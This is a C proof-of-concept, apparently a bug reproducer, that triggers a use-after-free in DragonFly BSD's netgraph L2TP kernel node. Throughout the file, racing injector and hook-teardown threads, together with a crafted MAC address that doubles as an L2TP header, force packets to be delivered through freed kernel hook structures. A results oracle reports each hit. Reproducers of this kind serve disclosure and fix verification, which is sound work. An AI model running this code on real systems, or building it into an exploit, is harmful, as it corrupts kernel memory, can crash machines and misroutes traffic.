/* * DF-3495 PoC v4 — v1 ng_l2tp session-hook / hook-private use-after-free * ======================================================================= * Target: sys/netgraph/l2tp/ng_l2tp.c (DragonFly v1 netgraph l2tp node) * * Bug: ng_l2tp_recv_lower() caches the session hook + hpriv from a lockless * LIST_FOREACH over node->hooks (ng_l2tp.c:769-781) and dereferences / * delivers through them later (861-882) with no reference and no lock, * while ng_l2tp_disconnect() (661-664) kfree()s the hpriv (and the * framework frees the hook struct) the moment an rmhook lands. * * Concurrency engineering (the hard part on DragonFly): * - ng_socket (data or control) dispatches everything through cpu0's * netisr port (socreate -> netisr_cpuport(0)); ng_ksocket's UDP socket * also re-dispatches input on its so_port. Those paths cannot race. * - The lower hook fed by ng_eiface runs from the interface transmit * path (ifq_dispatch -> ng_eiface_start -> NG_SEND_DATA) on netisr * CPUs chosen by the packet flow hash — genuinely parallel with the * cpu0-pinned rmhook processing of the ngctl control socket. * - The Ethernet header doubles as the L2TP header: * dst MAC = 40:02:::00:00 * -> l2tp hdr 0x4002 (LEN|V2), length field, tunnel id 0 * src MAC = 00:01:xx:xx:xx:xx * -> session id 0x0001 (bytes 6-7 of the l2tp view) * No SEQ bit => no duplicate-drop state machine. * * Oracle: injector only ever sends session id 0x0001; the teardown thread * ping-pongs hooks session_0001<->s1 and session_0003<->s3. Any * packet received at the socket node from hook "s3" was delivered * through a stale (freed-then-reallocated) cached hook pointer. * * Build: cc -O2 -Wall -pthread -o l2tp_hook_uaf l2tp_hook_uaf.c * Run (root): ./l2tp_hook_uaf [seconds] [injectors] [teardowns] * Needs: kldload ng_l2tp ng_eiface ng_socket */ #include #include #include #include #include #include #include #include #include #include #include #include #include /* ---------------- results ---------------- */ static volatile unsigned long n_sent, n_s1, n_s3, n_other, n_err; static volatile unsigned long n_cycles, n_rm_fail, n_cn_fail, n_cn_ok; static volatile int stop_flag; static double t_hit_s3 = 0.0; #define INJ_NODE inj_node_name /* unique per run (pid suffix) */ #define TO_L2_HOOK "h_l2" #define TUNNEL_ID 0x1234 /* frame geometry: 14 ether + 20 ip + 8 udp + 100 data = 142 bytes */ #define DATA_LEN 100 #define FRAME_LEN 142 #define DST_IP "10.99.0.1" #define SRC_IP "10.99.0.2" static char inj_node_name[24]; struct ng_mesg_k { struct { u_char version; u_char spare; u_int16_t arglen; u_int32_t flags; u_int32_t token; u_int32_t typecookie; u_int32_t cmd; u_char cmdstr[32]; } header; char data[1024]; }; static u_int32_t tok = 0x1000; #define GENERIC_COOKIE_K 851672668u #define NGM_MKPEER_K 2u #define NGM_CONNECT_K 3u #define NGM_NAME_K 4u #define NGM_RMHOOK_K 5u #define NGM_L2TP_COOKIE_K 1011392401u #define NGM_L2TP_SET_CONFIG_K 1u /* local struct copies matching the kernel headers */ struct mkp_k { char type[32]; char ourhook[32]; char peerhook[32]; }; struct cnt_k { char path[512]; char ourhook[32]; char peerhook[32]; }; struct rmh_k { char ourhook[32]; }; struct name_k { char name[32]; }; struct cfgk { u_char enabled, match_id; u_int16_t tunnel_id, peer_id, peer_win, rexmit_max, rexmit_max_to; }; static int ng_open_ctl(void) { return socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL); } static int ng_send_generic(int fd, const char *path, u_int32_t cookie, u_int32_t cmd, const void *arg, size_t arglen) { struct sockaddr_ng sg; struct ng_mesg_k m; static char rbuf[2048]; memset(&m, 0, sizeof(m)); m.header.version = NG_VERSION; m.header.arglen = arglen; m.header.token = ++tok; m.header.typecookie = cookie; m.header.cmd = cmd; if (arglen) memcpy(m.data, arg, arglen); memset(&sg, 0, sizeof(sg)); sg.sg_len = 3; sg.sg_family = AF_NETGRAPH; if (path && *path) { strcpy(sg.sg_data, path); sg.sg_len = 3 + strlen(path); } if (sendto(fd, &m, sizeof(m.header) + arglen, 0, (struct sockaddr *)&sg, sg.sg_len) < 0) return (-1); (void)recv(fd, rbuf, sizeof(rbuf), MSG_DONTWAIT); return (0); } /* send a control message and return the (first 32 bytes of) its reply */ static int ng_send_getreply(int fd, const char *path, u_int32_t cookie, u_int32_t cmd, void *reply, size_t replysz) { struct sockaddr_ng sg; struct ng_mesg_k m; static char rbuf[2048]; int n; memset(&m, 0, sizeof(m)); m.header.version = NG_VERSION; m.header.token = ++tok; m.header.typecookie = cookie; m.header.cmd = cmd; memset(&sg, 0, sizeof(sg)); sg.sg_len = 3; sg.sg_family = AF_NETGRAPH; if (path && *path) { strcpy(sg.sg_data, path); sg.sg_len = 3 + strlen(path); } if (sendto(fd, &m, sizeof(m.header), 0, (struct sockaddr *)&sg, sg.sg_len) < 0) return (-1); n = recv(fd, rbuf, sizeof(rbuf), 0); if (n < 40) return (-1); memcpy(reply, ((struct ng_mesg_k *)rbuf)->data, replysz); return (0); } /* ---------------- injector: UDP out the eiface ---------------- */ static void * injector(void *arg) { struct sockaddr_in dst; unsigned char data[DATA_LEN]; static int pool[64]; static int npool; int pool_i = 0; int s; (void)arg; if (npool == 0) { for (int k = 0; k < 64; k++) { pool[k] = socket(AF_INET, SOCK_DGRAM, 0); if (pool[k] < 0) { perror("udp socket"); return (NULL); } } npool = 64; } memset(data, 0x41, sizeof(data)); data[0] = 'D'; data[1] = 'F'; data[2] = '3'; data[3] = '4'; data[4] = '9'; data[5] = '5'; memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_port = htons(9); dst.sin_addr.s_addr = inet_addr(DST_IP); while (!stop_flag) { s = pool[pool_i++ & 63]; if (sendto(s, data, sizeof(data), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0) n_err++; else n_sent++; } return (NULL); } /* ---------------- teardown: ping-pong session hooks ---------------- */ static void * teardown(void *arg) { int c; struct rmh_k rm; struct cnt_k cn; char l2path[64]; int i = 0; (void)arg; snprintf(l2path, sizeof(l2path), "%s:%s", INJ_NODE, TO_L2_HOOK); c = ng_open_ctl(); if (c < 0) { perror("teardown: ctl socket"); return (NULL); } while (!stop_flag) { const char *live = (i & 1) ? "session_0003" : "session_0001"; const char *peer = (i & 1) ? "s3" : "s1"; const char *dead = (i & 1) ? "session_0001" : "session_0003"; memset(&rm, 0, sizeof(rm)); strcpy(rm.ourhook, dead); if (ng_send_generic(c, l2path, GENERIC_COOKIE_K, NGM_RMHOOK_K, &rm, sizeof(rm)) < 0) n_rm_fail++; memset(&cn, 0, sizeof(cn)); strcpy(cn.path, "ctrl"); /* from L cross ctrl -> injN */ strcpy(cn.ourhook, live); strcpy(cn.peerhook, peer); if (ng_send_generic(c, l2path, GENERIC_COOKIE_K, NGM_CONNECT_K, &cn, sizeof(cn)) < 0) n_cn_fail++; else n_cn_ok++; i++; n_cycles++; } close(c); return (NULL); } /* ---------------- main ---------------- */ int main(int argc, char **argv) { int runtime = (argc > 1) ? atoi(argv[1]) : 60; int n_inj = (argc > 2) ? atoi(argv[2]) : 4; int n_td = (argc > 3) ? atoi(argv[3]) : 2; int c, d; struct name_k nm; struct mkp_k mk; struct cnt_k cn; struct cfgk cfg; pthread_t th[32], td[16]; int n_th = 0, n_tdth = 0; static char buf[256 * 1024]; struct sockaddr_ng from; struct timeval tv0, tv1, now; char l2path[64], cmd[256]; char ifname[40]; char mac[24]; gettimeofday(&tv0, NULL); setvbuf(stdout, NULL, _IONBF, 0); snprintf(inj_node_name, sizeof(inj_node_name), "inj%d", (int)getpid()); snprintf(l2path, sizeof(l2path), "%s:%s", INJ_NODE, TO_L2_HOOK); c = ng_open_ctl(); if (c < 0) { perror("control socket"); exit(1); } /* name our control node */ memset(&nm, 0, sizeof(nm)); strcpy(nm.name, INJ_NODE); if (ng_send_generic(c, "", GENERIC_COOKIE_K, NGM_NAME_K, &nm, sizeof(nm)) < 0) { perror("name"); exit(1); } /* 1) mkpeer l2tp: injN:h_l2 <-> L:ctrl (ctrl hook is unused) */ memset(&mk, 0, sizeof(mk)); strcpy(mk.type, "l2tp"); strcpy(mk.ourhook, TO_L2_HOOK); strcpy(mk.peerhook, "ctrl"); if (ng_send_generic(c, "", GENERIC_COOKIE_K, NGM_MKPEER_K, &mk, sizeof(mk)) < 0) { perror("mkpeer l2tp"); exit(1); } /* 2) mkpeer eiface from L: L:lower <-> E:ether */ memset(&mk, 0, sizeof(mk)); strcpy(mk.type, "eiface"); strcpy(mk.ourhook, "lower"); strcpy(mk.peerhook, "ether"); if (ng_send_generic(c, l2path, GENERIC_COOKIE_K, NGM_MKPEER_K, &mk, sizeof(mk)) < 0) { perror("mkpeer eiface"); exit(1); } /* 3) get the eiface interface name */ { struct { char name[32]; } ifn; char epath[80]; snprintf(epath, sizeof(epath), "%s.lower", l2path); if (ng_send_getreply(c, epath, 948105892u /*NGM_EIFACE_COOKIE*/, 1 /*NGM_EIFACE_GET_IFNAME*/, &ifn, sizeof(ifn)) < 0) { perror("get ifname"); exit(1); } ifn.name[sizeof(ifn.name) - 1] = '\0'; snprintf(ifname, sizeof(ifname), "%s", ifn.name); } printf("eiface interface: %s\n", ifname); /* 4) configure the interface so the crafted Ethernet header appears * as a valid L2TP data header (see top comment) */ snprintf(mac, sizeof(mac), "00:01:02:03:04:05"); /* sid 0x0001 */ snprintf(cmd, sizeof(cmd), "ifconfig %s ether %s up >/dev/null 2>&1", ifname, mac); if (system(cmd) != 0) printf("warning: ifconfig ether failed\n"); snprintf(cmd, sizeof(cmd), "ifconfig %s %s/32 %s >/dev/null 2>&1", ifname, SRC_IP, DST_IP); if (system(cmd) != 0) { printf("warning: ifconfig addr failed\n"); exit(1); } snprintf(cmd, sizeof(cmd), "arp -s %s 40:02:%02x:%02x:00:00 >/dev/null 2>&1", DST_IP, (FRAME_LEN >> 8) & 0xff, FRAME_LEN & 0xff); if (system(cmd) != 0) printf("warning: arp -s failed\n"); snprintf(cmd, sizeof(cmd), "route add -host %s %s -static >/dev/null 2>&1", DST_IP, SRC_IP); system(cmd); /* 5) enable the l2tp node */ memset(&cfg, 0, sizeof(cfg)); cfg.enabled = 1; cfg.match_id = 0; cfg.tunnel_id = TUNNEL_ID; cfg.peer_id = 0x4321; cfg.peer_win = 4; cfg.rexmit_max = 5; cfg.rexmit_max_to = 30; if (ng_send_generic(c, l2path, NGM_L2TP_COOKIE_K, NGM_L2TP_SET_CONFIG_K, &cfg, sizeof(cfg)) < 0) { perror("setconfig"); exit(1); } /* 6) initial session hook: injN:s1 <-> L:session_0001 */ memset(&cn, 0, sizeof(cn)); strcpy(cn.path, TO_L2_HOOK); strcpy(cn.ourhook, "s1"); strcpy(cn.peerhook, "session_0001"); if (ng_send_generic(c, "", GENERIC_COOKIE_K, NGM_CONNECT_K, &cn, sizeof(cn)) < 0) { perror("connect sess_0001"); exit(1); } /* 7) sink data socket bound to node injN */ d = socket(AF_NETGRAPH, SOCK_DGRAM, NG_DATA); if (d < 0) { perror("data socket"); exit(1); } { struct sockaddr_ng sg; int bufsz = 4 * 1024 * 1024; struct timeval tvto; setsockopt(d, SOL_SOCKET, SO_RCVBUF, &bufsz, sizeof(bufsz)); tvto.tv_sec = 0; tvto.tv_usec = 100000; setsockopt(d, SOL_SOCKET, SO_RCVTIMEO, &tvto, sizeof(tvto)); memset(&sg, 0, sizeof(sg)); snprintf(sg.sg_data, 32, "%s:", INJ_NODE); sg.sg_len = 3 + strlen(sg.sg_data); sg.sg_family = AF_NETGRAPH; if (connect(d, (struct sockaddr *)&sg, sg.sg_len) < 0) { perror("connect data socket"); exit(1); } } printf("DF-3495: graph up (%s:h_l2=l2tp:ctrl, l2tp:lower=eiface:%s)\n", INJ_NODE, ifname); printf("frame: dst=40:02:%02x:%02x:00:00 src=00:01:02:03:04:05 " "(L2TP hdr 0x4002, tid 0, sid 0x0001)\n", (FRAME_LEN >> 8) & 0xff, FRAME_LEN & 0xff); printf("runtime=%ds injectors=%d teardowns=%d\n", runtime, n_inj, n_td); printf("oracle: any packet received from hook \"s3\" == UAF hit " "(injector only ever sends session id 0x0001)\n"); for (int i = 0; i < n_inj; i++) pthread_create(&th[n_th++], NULL, injector, NULL); for (int i = 0; i < n_td; i++) pthread_create(&td[n_tdth++], NULL, teardown, NULL); /* sink: tally packets by source hook */ while (!stop_flag) { socklen_t flen = sizeof(from); ssize_t n; n = recvfrom(d, buf, sizeof(buf), 0, (struct sockaddr *)&from, &flen); if (n < 0) { gettimeofday(&now, NULL); if (now.tv_sec - tv0.tv_sec >= runtime) stop_flag = 1; continue; } if (flen >= 4 && strcmp(from.sg_data, "s1") == 0) n_s1++; else if (flen >= 4 && strcmp(from.sg_data, "s3") == 0) { if (n_s3 == 0) { gettimeofday(&now, NULL); t_hit_s3 = now.tv_sec - tv0.tv_sec + (now.tv_usec - tv0.tv_usec) / 1e6; printf("*** UAF HIT: packet for session 0x0001 " "delivered via hook \"s3\" (freed+" "reallocated hook) after %.3fs " "payload=%02x%02x%02x%02x\n", t_hit_s3, buf[0] & 0xff, buf[1] & 0xff, buf[2] & 0xff, buf[3] & 0xff); } n_s3++; } else n_other++; gettimeofday(&now, NULL); if (now.tv_sec - tv0.tv_sec >= runtime) stop_flag = 1; } for (int i = 0; i < n_th; i++) pthread_join(th[i], NULL); for (int i = 0; i < n_tdth; i++) pthread_join(td[i], NULL); gettimeofday(&tv1, NULL); printf("\n=== DF-3495 results after %.1fs ===\n", tv1.tv_sec - tv0.tv_sec + (tv1.tv_usec - tv0.tv_usec) / 1e6); printf("udp injected : %lu (send errors: %lu)\n", n_sent, n_err); printf("delivered s1 : %lu (normal path)\n", n_s1); printf("delivered s3 : %lu <== UAF HITS (must be 0 on a fixed kernel)\n", n_s3); printf("delivered ? : %lu (unexpected sources)\n", n_other); printf("teardown cycles: %lu (rm fail: %lu, connect ok: %lu, fail: %lu)\n", n_cycles, n_rm_fail, n_cn_ok, n_cn_fail); if (n_s3 > 0) { printf("VERDICT: REPRODUCED — stale session-hook delivery " "(use-after-free, cross-session misdelivery)\n"); exit(0); } printf("VERDICT: no s3 delivery observed this run\n"); exit(3); }